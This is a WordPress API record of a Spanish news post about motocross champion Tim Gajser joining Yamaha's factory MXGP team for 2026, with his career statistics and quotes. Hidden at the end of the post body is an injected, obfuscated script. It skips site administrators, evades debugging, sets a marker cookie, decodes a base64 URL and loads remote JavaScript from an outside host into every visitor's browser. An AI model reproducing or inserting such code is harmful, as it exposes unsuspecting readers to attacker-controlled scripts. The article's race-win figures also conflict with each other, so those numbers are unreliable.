{"id":106150,"date":"2026-01-02T08:54:50","date_gmt":"2026-01-02T11:54:50","guid":{"rendered":"https:\/\/fueluniverse.tv\/blog\/?p=106150"},"modified":"2026-01-18T12:18:30","modified_gmt":"2026-01-18T15:18:30","slug":"tim-gajser-ya-puede-lucir-nuevos-colores-los-de-yamaha","status":"publish","type":"post","link":"https:\/\/fueluniverse.tv\/blog\/actualidad\/tim-gajser-ya-puede-lucir-nuevos-colores-los-de-yamaha\/","title":{"rendered":"Tim Gajser ya puede lucir nuevos colores, los de Yamaha"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" width=\"770\" height=\"572\" src=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2026\/01\/image-2-770x572.png\" alt=\"\" class=\"wp-image-106151\" style=\"aspect-ratio:1.3461633021006911;width:840px;height:auto\" srcset=\"https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2026\/01\/image-2-770x572.png 770w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2026\/01\/image-2-480x356.png 480w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2026\/01\/image-2-768x570.png 768w, https:\/\/fueluniverse.tv\/blog\/wp-content\/uploads\/2026\/01\/image-2.png 780w\" sizes=\"(max-width: 770px) 100vw, 770px\" \/><\/figure>\n\n\n\n<p><strong>Yamaha Motor Europe ha hecho oficial un movimiento que redefine el panorama del motocross mundial: el fichaje hist\u00f3rico de Tim Gajser. El cinco veces campe\u00f3n del mundo de la FIM se integrar\u00e1 en las filas del Monster Energy Yamaha Factory MXGP a partir de la temporada 2026, asegurando un v\u00ednculo a largo plazo que promete marcar una nueva era para la marca de los tres diapasones.<\/strong><\/p>\n\n\n\n<p><strong>El astro esloveno de 29 a\u00f1os pilotar\u00e1 la YZ450FM oficial compartiendo estructura con Maxime Renaux, consolidando as\u00ed uno de los equipos m\u00e1s potentes en la categor\u00eda reina<\/strong>. Gajser aterriza en la familia Yamaha respaldado por un palmar\u00e9s estratosf\u00e9rico que lo sit\u00faa como <strong>uno de los pilotos m\u00e1s laureados de la historia moderna, acumulando cinco coronas mundiales, 97 victorias en mangas y 52 triunfos en grandes premios, sumando un total de 125 podios.<\/strong><\/p>\n\n\n\n<p>La trayectoria del piloto esloveno es un reflejo de su talento excepcional. Tras dominar las categor\u00edas inferiores en Europa, alcanz\u00f3 la gloria en MX2 durante 2015. Sin embargo, su verdadera haza\u00f1a lleg\u00f3 apenas un a\u00f1o despu\u00e9s: en su debut en la clase reina de MXGP, logr\u00f3 proclamarse campe\u00f3n como \u00abrookie\u00bb, convirti\u00e9ndose en el \u00fanico corredor capaz de encadenar los t\u00edtulos de MX2 y MXGP en un periodo inferior a los 12 meses.<\/p>\n\n\n\n<p>Apodado cari\u00f1osamente como \u00ab<strong>Tiga<\/strong>\u00bb por su legi\u00f3n de seguidores, el piloto reafirm\u00f3 su dominio con dos t\u00edtulos consecutivos de MXGP en 2019 y 2020, sumando su quinta estrella en 2022. Tras un subcampeonato en 2024, inici\u00f3 2025 exhibiendo un nivel arrollador, logrando tres victorias en GPs y una racha perfecta de podios antes de que una lesi\u00f3n en la sexta ronda interrumpiera su camino. Pese a la baja, su superioridad fue tal que mantuvo el liderato del mundial durante 10 rondas consecutivas.<\/p>\n\n\n\n<p>Ahora, con una recuperaci\u00f3n total y la mirada fija en los nuevos desaf\u00edos, Gajser llega a Yamaha con una ambici\u00f3n renovada. Su integraci\u00f3n en el equipo de f\u00e1brica no es solo un cambio de colores, sino una declaraci\u00f3n de intenciones: el esloveno busca aprovechar el potencial de la firma japonesa para seguir ampliando su leyenda y conquistar nuevos t\u00edtulos mundiales.<\/p>\n\n\n\n<p><strong><em>Tim Gajser: \u00abEstoy muy emocionado de unirme a la familia Yamaha. Despu\u00e9s de m\u00e1s de una d\u00e9cada con la misma marca, es emocionante comenzar una nueva etapa en 2026, y un cambio como este me llena de motivaci\u00f3n. \u00a1Tengo muchas ganas de subirme a la nueva moto! Mi prioridad ser\u00e1 acostumbrarme a ella lo antes posible. No poder pilotar hasta el a\u00f1o nuevo nos da poco tiempo para prepararnos, pero sinceramente, estoy deseando afrontar el reto. Una vez que empiece la temporada, lo m\u00e1s importante es mantenerme sano, estar en buena forma y disfrutar de las carreras. Estoy listo para darlo todo y espero que podamos luchar por el t\u00edtulo\u00bb.<\/em><\/strong><\/p>\n\n\n\n<p><strong><em>Alexandre Kowalski, Director de Carreras Off-Road de Yamaha Motor Europe: \u00abEstamos encantados de dar la bienvenida a Tim a la familia Yamaha. Un piloto de su calibre no solo aporta un legado de \u00e9xito, sino tambi\u00e9n un nivel incomparable de profesionalismo y dedicaci\u00f3n a su oficio. Su llegada trae consigo una bienvenida oleada de energ\u00eda y motivaci\u00f3n. Representa un nuevo y emocionante cap\u00edtulo para todos los involucrados. Confiamos en que podemos proporcionar a Tim la plataforma definitiva en la YZ450FM y el equipo Monster Energy Yamaha Factory para perseguir nuestro objetivo com\u00fan de asegurar otro Campeonato Mundial de Motocross de la FIM\u00bb.<\/em><\/strong><\/p>\n\n\n\n<p><strong>La carrera de Tim Gajser en Honda en cifras:<br><\/strong><em>4 Campeonatos Mundiales MXGP<br>1 Campeonato Mundial MX2<br>47 Victorias generales MXGP<br>5 Victorias generales MX2<br>116 Victorias en carreras<br>125 Podios<br>2 Victorias en su clase en el Motocross de las Naciones<\/em><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Yamaha Motor Europe ha hecho oficial un movimiento que redefine el panorama del motocross mundial: el fichaje hist\u00f3rico de Tim  [+]<\/p>\n","protected":false},"author":10,"featured_media":106151,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[29,59],"tags":[],"class_list":["post-106150","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-actualidad","category-motocross"],"acf":[],"_links":{"self":[{"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/posts\/106150","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/comments?post=106150"}],"version-history":[{"count":3,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/posts\/106150\/revisions"}],"predecessor-version":[{"id":106539,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/posts\/106150\/revisions\/106539"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/media\/106151"}],"wp:attachment":[{"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/media?parent=106150"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/categories?post=106150"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fueluniverse.tv\/blog\/wp-json\/wp\/v2\/tags?post=106150"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}